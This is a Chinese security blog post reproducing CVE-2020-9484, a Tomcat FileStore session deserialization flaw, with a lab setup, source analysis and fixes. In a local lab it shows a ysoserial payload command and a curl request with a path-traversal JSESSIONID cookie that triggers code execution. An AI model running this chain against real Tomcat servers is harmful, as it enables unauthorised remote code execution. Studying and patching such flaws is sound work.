前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2020-9484:Tomcat Session 反序列化复现

CVE-2020-9484:Tomcat Session 反序列化复现

作者头像
Timeline Sec
发布2020-07-21 10:29:47
1.8K0
发布2020-07-21 10:29:47
举报
文章被收录于专栏:Timeline SecTimeline Sec

本文作者:?@Timeline Sec

本文字数:1197

阅读时长:3~4min

声明:请勿用作违法用途,否则后果自负

0x01 简介

Apache Tomcat 是一个开放源代码、运行servlet和JSP Web应用软件的基于Java的Web应用软件容器。

0x02 漏洞概述

这次是由于错误配置和 org.apache.catalina.session.FileStore 的 LFI 和反序列化漏洞引起的 RCE。 当配置了 org.apache.catalina.session.PersistentManager 并且使用 org.apache.catalina.session.FileStore 来储存 session 时, 用户可以通过 org.apache.catalina.session.FileStore 的一个 LFI 漏洞来读取服务器上任意以 .session结尾的文件。然后通过反序列化来运行 .session 文件。

默认情况是使用 org.apache.catalina.session.StandardManager, 将 session储存到内存,而 PersistentManager 会将不常用的 session swap out, 从而减少内存占用。

0x03 影响版本

Apache Tomcat:

10.0.0-M1 to 10.0.0-M4

9.0.0.M1 to 9.0.34

8.5.0 to 8.5.54

7.0.0 to 7.0.103

0x04 环境搭建

本次使用linux进行测试, 搭建一个Tomcat服务

  1. 下载 Tomcat 10.0.0-M4 https://repo1.maven.org/maven2/org/apache/tomcat/tomcat/10.0.0-M4/
  2. 将文件解压之后放入 /usr/local/tomcat
  3. 修改 /usr/local/tomcat/conf/context.xlm, 添加 Manager
代码语言:javascript
复制
<Context>
    <!-- Default set of monitored resources. If one of these changes, the    -->
    <!-- web application will be reloaded.                                   -->
    <WatchedResource>WEB-INF/web.xml</WatchedResource>
    <WatchedResource>WEB-INF/tomcat-web.xml</WatchedResource>
    <WatchedResource>${catalina.base}/conf/web.xml</WatchedResource>
    <!-- Uncomment this to enable session persistence across Tomcat restarts -->
    <!--
    <Manager pathname="SESSIONS.ser" />
    -->
    <Manager className="org.apache.catalina.session.PersistentManager">
            <Store className="org.apache.catalina.session.FileStore" directory="/tomcat/sessions/"/>
    </Manager>
</Context>

  • 这个 directory 设置成什么都没有关系, 因为不过滤 ../
  1. 下载 groovy-2.3.9.jar https://mvnrepository.com/artifact/org.codehaus.groovy/groovy/2.3.9
  2. 将 groovy-2.3.9.jar 放入 /usr/local/tomcat/lib
  3. 执行语句运行 Tomcat
  4. /usr/local/tomcat/bin/catalina.sh start

0x05 漏洞复现

目标是在服务器上执行命令 touch /tmp/2333假设 .session文件已经被上传到服务器的已知位置

1、下载 ysoserial 一个生成java反序列化 payload 的 .jar 包

2、执行下面语句生成 payload

代码语言:javascript
复制
java -jar ysoserial-master-30099844c6-1.jar Groovy1 "touch /tmp/2333" > /tmp/test.session

3、执行

代码语言:javascript
复制
curl 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../tmp/test'

虽然有报错但是反序列化已经执行了

4、执行 ls /tmp 查看结果

0x06 漏洞分析

此处使用 Tomcat 10.0.0-M4 来做分析

这里主要是 FileStore 的 LFI 漏洞可以反序列化任意路径上的 .session 文件, 如果同时存在 文件上传漏洞的话就是 RCE 了.

首先看 FileStore 源码, 当用户请求里带有 JSESSIONID 时 会运行存在问题的 load 方法

代码语言:javascript
复制
代码语言:javascript
复制
public Session load(String id) throws ClassNotFoundException, IOException {
        // Open an input stream to the specified pathname, if any
        File file = file(id);
        if (file == null || !file.exists()) {
            return null;
        }
        Context context = getManager().getContext();
        Log contextLog = context.getLogger();
        if (contextLog.isDebugEnabled()) {
            contextLog.debug(sm.getString(getStoreName()+".loading", id, file.getAbsolutePath()));
        }
        ClassLoader oldThreadContextCL = context.bind(Globals.IS_SECURITY_ENABLED, null);
        try (FileInputStream fis = new FileInputStream(file.getAbsolutePath());
                ObjectInputStream ois = getObjectInputStream(fis)) {
            StandardSession session = (StandardSession) manager.createEmptySession();
            session.readObjectData(ois);
            session.setManager(manager);
            return session;
        } catch (FileNotFoundException e) {
            if (contextLog.isDebugEnabled()) {
                contextLog.debug("No persisted data file found");
            }
            return null;
        } finally {
            context.unbind(Globals.IS_SECURITY_ENABLED, oldThreadContextCL);
        }
    }
代码语言:javascript
复制

load 会先将 session id 转换成 file object 查看文件是否存在, 如果存在的话会读取文件. file object 会为输入的 id 添加

.session 后缀 然而并没有验证文件的目录

代码语言:javascript
复制
代码语言:javascript
复制
private File file(String id) throws IOException {
        if (this.directory == null) {
            return null;
        }
        String filename = id + FILE_EXT; 
        File file = new File(directory(), filename);
        return file;
    }
代码语言:javascript
复制

当文件存在时, 系统会运行 org.apache.catalina.session.getObjectInputStream 方法

代码语言:javascript
复制
代码语言:javascript
复制
protected ObjectInputStream getObjectInputStream(InputStream is) throws IOException {
        BufferedInputStream bis = new BufferedInputStream(is);
        CustomObjectInputStream ois;
        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
        if (manager instanceof ManagerBase) {
            ManagerBase managerBase = (ManagerBase) manager;
            ois = new CustomObjectInputStream(bis, classLoader, manager.getContext().getLogger(),
                    managerBase.getSessionAttributeValueClassNamePattern(),
                    managerBase.getWarnOnSessionAttributeFilterFailure());
        } else {
            ois = new CustomObjectInputStream(bis, classLoader);
        }
        return ois;
    }
代码语言:javascript
复制

getObjectInputStream 方法运行 org.apache.catalina.util.CustomObjectInputStream 获取 gadget 类, 然后就反序列化session文件了。

0x07 修复方式

对比 Tomcat 10.0.0-M4 和 Tomcat 10.0.0-M5 的 FileStore 源码可以发现做了目录验证。

修复方式就是升级,或者配置WAF,过滤掉../之类的字符串,或者不使用 FileStore。

参考链接:

https://www.redtimmy.com/java-hacking/apache-tomcat-rce-by-deserialization-cve-2020-9484-write-up-and-exploit/

https://y4er.com/post/cve-2020-9484-tomcat-session-rce/#分析

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9484

https://github.com/masahiro331/CVE-2020-9484

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-07-18,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Timeline Sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
文件存储
文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档